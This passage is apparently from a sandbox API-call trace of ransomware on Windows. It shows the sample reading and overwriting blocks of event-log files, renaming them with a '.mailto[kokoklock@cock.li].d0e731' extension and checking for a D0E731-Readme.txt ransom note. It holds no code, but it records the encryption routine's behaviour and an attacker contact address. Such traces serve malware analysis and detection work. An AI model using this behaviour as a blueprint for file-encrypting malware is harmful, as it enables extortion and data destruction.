(lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.529] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6aef970 | out: lpFileSize=0x6aef970*=1052928) returned 1 [0164.530] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.530] ReadFile (in: hFile=0x4a0, lpBuffer=0x6aef944, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x6aef944*, lpNumberOfBytesRead=0x6aef940*=0x4, lpOverlapped=0x0) returned 1 [0164.530] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a748 [0164.531] NtQuerySystemTime (in: CurrentTime=0x6aef91c | out: CurrentTime=0x6aef91c*=132121213218497150) returned 0x0 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x9abfa25c [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x8da1d12b [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xdac62202 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xbe187db2 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xd004179f [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xd558899a [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x372b982b [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xc40b9f17 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x4a88d028 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x41608a0d [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x7f21ada2 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x8948022f [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x8bd96a50 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x9481fce0 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x80a24ee5 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x1b527e56 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x72ce9967 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x8eea7f6e [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x999d4ee1 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x3310c91c [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x4550bf87 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xcfbe6c34 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x3440d95d [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x2fb2b3e6 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x997e40b9 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xa6c4099b [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xf8116a1c [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xc14cb11 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xe66db5f1 [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0xb739b77b [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x84437fb [0164.531] RtlRandom (in: Seed=0x6aef928 | out: Seed=0x6aef928) returned 0x869015be [0164.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a798 [0164.541] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.542] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.542] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.542] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.544] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8b0 [0164.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8b0) returned 1 [0164.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.544] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.545] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.545] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.546] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87470 [0164.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8b0 [0164.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8b0) returned 1 [0164.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8b0 [0164.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8b0) returned 1 [0164.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87470) returned 1 [0164.547] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.547] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.547] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.549] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac78 [0164.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8b0 [0164.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a8b0) returned 1 [0164.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.550] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a8b0 [0164.550] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac78) returned 1 [0164.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.550] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6aef8dc, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6aef8dc*=0x4096, lpOverlapped=0x0) returned 1 [0164.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.550] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6aef938, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x6aef938*=0x20, lpOverlapped=0x0) returned 1 [0164.550] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a900*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6aef938, lpOverlapped=0x0 | out: lpBuffer=0x2f8a900*, lpNumberOfBytesWritten=0x6aef938*=0x20, lpOverlapped=0x0) returned 1 [0164.550] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a8b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6aef938, lpOverlapped=0x0 | out: lpBuffer=0x2f8a8b0*, lpNumberOfBytesWritten=0x6aef938*=0x20, lpOverlapped=0x0) returned 1 [0164.550] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.550] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x2f8a798*, lpNumberOfBytesWritten=0x6aef940*=0x8, lpOverlapped=0x0) returned 1 [0164.551] WriteFile (in: hFile=0x4a0, lpBuffer=0x6aef958*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x6aef958*, lpNumberOfBytesWritten=0x6aef940*=0x4, lpOverlapped=0x0) returned 1 [0164.551] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6aef940*=0x4, lpOverlapped=0x0) returned 1 [0164.551] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6aef940*=0x6c, lpOverlapped=0x0) returned 1 [0164.551] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x6aef940*=0x20, lpOverlapped=0x0) returned 1 [0164.551] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6aef940, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6aef940*=0x4, lpOverlapped=0x0) returned 1 [0164.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.551] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a798) returned 1 [0164.551] CloseHandle (hObject=0x4a0) returned 1 [0164.551] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2f6ab60 [0164.551] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.551] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.552] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.552] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.553] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.553] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.553] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.553] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.553] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.553] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95718) returned 1 [0164.553] RtlExitUserThread (Status=0x1) Thread: id = 1527 os_tid = 0xeb8 [0164.554] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.554] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.554] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.554] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6b6f794 | out: lpFileSize=0x6b6f794*=69824) returned 1 [0164.554] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.555] ReadFile (in: hFile=0x4a0, lpBuffer=0x6b6f768, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x6b6f768*, lpNumberOfBytesRead=0x6b6f764*=0x4, lpOverlapped=0x0) returned 1 [0164.555] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.555] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.556] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a798 [0164.556] NtQuerySystemTime (in: CurrentTime=0x6b6f740 | out: CurrentTime=0x6b6f740*=132121213218653328) returned 0x0 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xa3d2cfaa [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x128055c5 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x1cd7e7e5 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x1d02315b [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x69ecea53 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x57f111a7 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xbf251a73 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x15768d5f [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x292430b [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x21acae72 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x620b11b7 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x50812368 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x14e53cfe [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x723332cb [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x1cc89937 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x32f018f8 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x6fafe8ff [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xf0e025c [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xf3618d8d [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x919435a6 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x6f0c3f1d [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x42928793 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x172c8596 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xc74adb57 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x94c09e4a [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x3fa7a4ca [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xc03f7f9 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xefaa3abd [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xe1b22f88 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0xa438a6d5 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x8bf20e42 [0164.556] RtlRandom (in: Seed=0x6b6f74c | out: Seed=0x6b6f74c) returned 0x2a670660 [0164.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.567] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.567] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6b6f718, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6b6f718*=0x4096, lpOverlapped=0x0) returned 1 [0164.568] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.569] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6b6f718, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6b6f718*=0x4096, lpOverlapped=0x0) returned 1 [0164.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.569] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.569] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6b6f750, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x6b6f750*=0x20, lpOverlapped=0x0) returned 1 [0164.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.569] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8aab8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x2f8aab8*, lpNumberOfBytesWritten=0x6b6f764*=0x8, lpOverlapped=0x0) returned 1 [0164.569] WriteFile (in: hFile=0x4a0, lpBuffer=0x6b6f77c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x6b6f77c*, lpNumberOfBytesWritten=0x6b6f764*=0x4, lpOverlapped=0x0) returned 1 [0164.570] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6b6f764*=0x4, lpOverlapped=0x0) returned 1 [0164.570] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, 